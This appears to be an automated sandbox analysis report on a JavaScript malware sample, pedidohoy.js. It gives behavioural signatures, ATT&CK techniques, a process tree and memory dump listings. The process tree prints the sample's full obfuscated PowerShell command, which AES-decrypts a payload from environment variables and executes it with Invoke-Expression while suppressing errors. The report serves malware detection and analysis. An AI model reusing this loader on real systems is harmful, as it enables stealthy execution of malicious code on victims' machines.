Analysis
- max time kernel
149s - max time network
123s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
- submitted
25/06/2026, 10:20
General
- Target pedidohoy.js
- Size 2.2MB
- Sample260625-mc4m5aa14k
- SHA256 d5d25afaaaf0f4e65414a59a8ba60bdf5783d7d2d539146d1b29a58f983103c4
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\pedidohoy.js1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "try { $touted = [System.Text.Encoding]::UTF8.GetBytes('OuPq5wGAyQNbEjgc'); if ($touted.Length -lt 32) { $touted = $touted + (0..(31 - $touted.Length)) }; $mandarinize = [Convert]::FromBase64String($env:P1+$env:P2); $uncurling = $mandarinize[0..15]; $Kansans = $mandarinize[16..($mandarinize.Length-1)]; $inoculability = [System.Security.Cryptography.Aes]::Create(); $inoculability.Key = $touted; $inoculability.IV = $uncurling; $zeugobranchiata = $inoculability.CreateDecryptor(); $febril = $zeugobranchiata.TransformFinalBlock($Kansans, 0, $Kansans.Length); $calpain = [System.Text.Encoding]::UTF8.GetString($febril); Invoke-Expression $calpain; } catch {}"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/3548-0-0x00007FFB2886F000-0x00007FFB28870000-memory.dmp
memory/3548-3-0x000002ADE0190000-0x000002ADE01B2000-memory.dmp
memory/3548-4-0x00007FFB286E0000-0x00007FFB29084000-memory.dmp
memory/3548-5-0x00007FFB286E0000-0x00007FFB29084000-memory.dmp
memory/3548-6-0x00007FFB286E0000-0x00007FFB29084000-memory.dmp
memory/3548-7-0x00007FFB286E0000-0x00007FFB29084000-memory.dmp
memory/3548-8-0x00007FFB286E0000-0x00007FFB29084000-memory.dmp
memory/3548-9-0x00007FFB286E0000-0x00007FFB29084000-memory.dmp
memory/3548-10-0x00007FFB286E0000-0x00007FFB29084000-memory.dmp
memory/3548-11-0x00007FFB286E0000-0x00007FFB29084000-memory.dmp
memory/3548-12-0x00007FFB286E0000-0x00007FFB29084000-memory.dmp
memory/3548-13-0x00007FFB286E0000-0x00007FFB29084000-memory.dmp
memory/3548-15-0x00007FFB286E0000-0x00007FFB29084000-memory.dmp
memory/3548-16-0x00007FFB286E0000-0x00007FFB29084000-memory.dmp
memory/3548-17-0x00007FFB286E0000-0x00007FFB29084000-memory.dmp
memory/3548-19-0x00007FFB286E0000-0x00007FFB29084000-memory.dmp